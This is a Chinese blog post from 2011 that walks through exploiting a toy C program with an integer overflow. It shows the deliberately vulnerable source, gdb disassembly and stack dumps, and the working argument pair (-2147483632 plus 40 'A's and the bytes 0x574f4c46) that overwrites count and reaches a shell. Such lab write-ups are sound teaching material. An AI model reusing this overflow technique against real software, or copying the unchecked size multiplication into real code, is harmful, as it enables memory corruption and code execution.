2011年9月20日 星期二
简单整型溢出分析
源代码 interger.c
------------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char **argv)
{
int count = atoi(argv[1]);
int buf[10];
if(count >= 10 )
return 1;
memcpy(buf, argv[2], count * sizeof(int));
if(count == 0x574f4c46) {
printf("WIN!\n");
execl("/bin/sh", "sh" ,NULL);
} else
printf("Not today son\n");
return 0;
}
------------------------------------------------------------------------------
如果count >= 10, 则程序退出,想要执行到下面的语句,我们必须给count赋值一个负数
关键是计算count*sizeof(int)的值, sizeof(int)在intel 32 位的机器上因该是一个机器
字长为4.我们构造一个负数值给count,其二进制补码如下:
1000 0000 0000 0000 0000 0000 0001 0000
对应的十进制数值为:-2147483632
这样count * sizeof(int)的值如下(即上面的值左移2位):
0000 0000 0000 0000 0000 0000 0100 0000
则count * sizeof(int) = 64
这个整形溢出其实是buf的内存空间覆盖到了count的内存地址
使用gcc编译 gcc -o q9 -g interger.c, 用gdb调试
> gdb q9
用disassemble 查看反汇编代码
------------------------------------------------------------------------------
(gdb) disassemble main
Dump of assembler code for function main:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: and $0xfffffff0,%esp
0x0804844a <+6>: sub $0x40,%esp
0x0804844d <+9>: mov 0xc(%ebp),%eax
0x08048450 <+12>: add $0x4,%eax
0x08048453 <+15>: mov (%eax),%eax
0x08048455 <+17>: mov %eax,(%esp)
0x08048458 <+20>: call 0x8048370 <atoi@plt>
0x0804845d <+25>: mov %eax,0x3c(%esp)
0x08048461 <+29>: cmpl $0x9,0x3c(%esp)
0x08048466 <+34>: jle 0x804846f <main+43>
0x08048468 <+36>: mov $0x1,%eax
0x0804846d <+41>: jmp 0x80484db <main+151>
0x0804846f <+43>: mov 0x3c(%esp),%eax
0x08048473 <+47>: lea 0x0(,%eax,4),%edx
0x0804847a <+54>: mov 0xc(%ebp),%eax
0x0804847d <+57>: add $0x8,%eax
0x08048480 <+60>: mov (%eax),%eax
0x08048482 <+62>: mov %edx,0x8(%esp)
0x08048486 <+66>: mov %eax,0x4(%esp)
0x0804848a <+70>: lea 0x14(%esp),%eax
0x0804848e <+74>: mov %eax,(%esp)
0x08048491 <+77>: call 0x8048360 <memcpy@plt>
0x08048496 <+82>: cmpl $0x574f4c46,0x3c(%esp)
0x0804849e <+90>: jne 0x80484ca <main+134>
0x080484a0 <+92>: movl $0x80485a0,(%esp)
0x080484a7 <+99>: call 0x8048380 <puts@plt>
0x080484ac <+104>: movl $0x0,0x8(%esp)
0x080484b4 <+112>: movl $0x80485a5,0x4(%esp)
0x080484bc <+120>: movl $0x80485a8,(%esp)
0x080484c3 <+127>: call 0x8048350 <execl@plt>
0x080484c8 <+132>: jmp 0x80484d6 <main+146>
0x080484ca <+134>: movl $0x80485b0,(%esp)
0x080484d1 <+141>: call 0x8048380 <puts@plt>
0x080484d6 <+146>: mov $0x0,%eax
0x080484db <+151>: leave
0x080484dc <+152>: ret
End of assembler dump.
------------------------------------------------------------------------------
在0x08048496处设置断点, br *0x08048496 (cmpl $0x574f4c46,0x3c(%esp))
------------------------------------------------------------------------------
(gdb) br * 0x08048496
Breakpoint 1 at 0x8048496: file integer.c, line 33.
------------------------------------------------------------------------------
使用run命令,运行程序查看栈
------------------------------------------------------------------------------
(gdb) run -2147483632 $(perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"')
Starting program: /home/zhouzhen/CTD/test/q9 -2147483632 $(perl -e 'print "A"x40
. "\x46\x4c\x4f\x57"')
Breakpoint 1, main (argc=3619120, argv=0xbffff1c4) at integer.c:33
33 if(count == 0x574f4c46) {
(gdb)
------------------------------------------------------------------------------
查看栈, 这时候可以发现 count 即0x3c(%esp) 的值为0x574f4c46, 内存地址为0xbffff10c
-----------------------------------------------------------------------------
(gdb) x/4wx $esp+0x3c
0xbffff10c: 0x574f4c46 0x48535300 0x4547415f 0x505f544e
(gdb)
-----------------------------------------------------------------------------
已经成功达到了我们想到的地方。
参看栈分布情况
------------------------------------------------------------------------------
Breakpoint 1, main (argc=3619120, argv=0xbffff1c4) at integer.c:33
33 if(count == 0x574f4c46) {
(gdb)
(gdb)
(gdb) p $esp
$1 = (void *) 0xbffff0d0
(gdb) x/50wx 0xbffff0d0
0xbffff0d0: 0xbffff0e4 0xbffff3a0 0x00000040 0x0804831c
0xbffff0e0: 0x0028bff4 0x41414141 0x41414141 0x41414141
0xbffff0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff100: 0x41414141 0x41414141 0x41414141 0x574f4c46
0xbffff110: 0x48535300 0x4547415f 0x505f544e 0x323d4449
0xbffff120: 0x00373930 0xbffff1c4 0xbffff1d4 0x0012e414
0xbffff130: 0xffffffff 0x0012cff4 0x0804826c 0x00000001
0xbffff140: 0xbffff180 0x0011da31 0x0012dad0 0xb7fffc40
0xbffff150: 0x00000001 0x0028bff4 0x00000000 0x00000000
0xbffff160: 0xbffff198 0xc0563fde 0x170f86a1 0x00000000
0xbffff170: 0x00000000 0x00000000 0x00000003 0x08048390
0xbffff180: 0x00000000 0x00123c40 0x00145d5b 0x0012cff4
0xbffff190: 0x00000003 0x08048390
(gdb) bt
#0 main (argc=3619120, argv=0xbffff1c4) at integer.c:33
(gdb) print 0xbffff0d0+0x3c
$2 = 3221221644
(gdb) br *0x08048491 (call 0x8048360 <memcpy@plt>)
Breakpoint 3 at 0x8048491: file integer.c, line 31.
(gdb) info br
Num Type Disp Enb Address What
1 breakpoint keep y 0x08048496 in main at integer.c:33
breakpoint already hit 1 time
3 breakpoint keep y 0x08048491 in main at integer.c:31
(gdb) run -2147483632 $(perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /test/q9 -2147483632 $(perl -e 'print "A"x40
. "\x46\x4c\x4f\x57"')
Breakpoint 3, 0x08048491 in main (argc=3, argv=0xbffff1c4) at integer.c:31
31 memcpy(buf, argv[2], count * sizeof(int));
(gdb)
(gdb) p $esp
$3 = (void *) 0xbffff0d0
(gdb) x/4xw 0xbffff0d0
0xbffff0d0: 0xbffff0e4 0xbffff3a0 0x00000040 0x0804831c
(gdb)
溢出后进程空间布局
|----------------------------|.
0x08048496 (Ret)
|---------------------------|.
| 0xbffff0e4(buf) | <------ esp (0xbffff0d0)
|---------------------------|
0xbffff3a0(argv[2]) esp+4
|---------------------------|
0x00000040 esp+8
|---------------------------|
..................
|---------------------------|
"A"x40 (buf) esp+0x14 (0xbffff0e4)
|---------------------------|
0x574f4c46(count) esp+0x3c (0xbffff10c)
|---------------------------|
buf 地址0xbffff0e4, count 地址 0xbffff10c
计算出距离为40
(gdb) print 0xbffff10c - 0xbffff0e4
$12 = 40
这里还有一个little endian 还是 big endian的问题, 这将影响0x574f4c46 的顺序
ubuntu linux, intel 32 位, 使用的little endian,应此最后构造的数据是
$ perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"'
0 评论:
发表评论